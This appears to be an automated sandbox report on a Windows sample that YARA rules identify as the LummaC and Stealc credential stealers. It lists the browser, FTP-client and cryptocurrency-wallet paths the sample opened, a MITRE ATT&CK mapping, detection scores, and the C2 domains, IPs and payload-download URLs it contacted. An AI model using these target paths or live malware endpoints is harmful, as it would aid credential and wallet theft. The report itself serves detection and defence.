Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000004.00000003.1408347858.0000000001759000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1408197847.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1408145362.0000000001757000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: U8mbM8r793.exe PID: 7940, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: U8mbM8r793.exe PID: 7940, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000008.00000002.1698465028.0000000000F31000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1611466099.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ER7BQPWQ4HBBERO2A4ZIZ5.exe PID: 7668, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
U8mbM8r793.exe	53%	Virustotal		Browse
U8mbM8r793.exe	50%	ReversingLabs	Win32.Trojan.Generic
U8mbM8r793.exe	100%	Avira	TR/Crypt.XPACK.Gen
U8mbM8r793.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
observerfry.lat	172.67.199.72	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
curverpluch.lat	true	unknown
slipperyloo.lat	true	unknown
tentabatte.lat	true	unknown
manyrestro.lat	true	unknown
bashfulacid.lat	true	unknown
observerfry.lat	true	unknown
wordyfindy.lat	true	unknown
https://observerfry.lat/api	true	unknown
shapestickyr.lat	true	unknown
http://185.215.113.206/c4becf79229cb002.php	false	high
talkynicer.lat	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.206/c4becf79229cb002.php/h	ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/chrome_newtab	U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/apis	U8mbM8r793.exe, 00000004.00000003.1336105471.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/pi	U8mbM8r793.exe, 00000004.00000003.1470744835.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1433071039.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1429430671.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428925315.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1445705182.0000000001773000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr	U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeS	U8mbM8r793.exe, 00000004.00000003.1553514964.0000000001778000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/eA	U8mbM8r793.exe, 00000004.00000003.1429430671.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428925315.0000000001773000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/02	U8mbM8r793.exe, 00000004.00000003.1405268117.0000000005E53000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1405153757.0000000005E50000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428727871.0000000005E53000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg	U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/5Ve	U8mbM8r793.exe, 00000004.00000003.1381376152.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1405268117.0000000005E53000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1381539467.0000000005E53000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1381698424.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1405153757.0000000005E50000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1382169966.0000000005E53000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428727871.0000000005E53000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700	U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/15.113.206/	ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/steam/random.exeRfo	U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi	U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/hf	U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exer	U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta	U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	U8mbM8r793.exe, 00000004.00000003.1382997256.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeks	U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/Qj7	U8mbM8r793.exe, 00000004.00000003.1428727871.0000000005E53000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php$	ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64	U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://observerfry.lat/	U8mbM8r793.exe, 00000004.00000003.1553231816.000000000175C000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1470503230.000000000175E000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336105471.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1471190122.0000000001760000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1445705182.0000000001773000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	U8mbM8r793.exe, 00000004.00000003.1382997256.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206W	ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.micro	U8mbM8r793.exe, 00000004.00000003.1408197847.000000000173D000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1470708893.000000000174A000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336105471.000000000173D000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428969410.000000000173D000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1429534834.000000000173D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/apiit	U8mbM8r793.exe, 00000004.00000003.1408347858.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1408145362.0000000001773000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/apiH	U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpP	ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	false	high
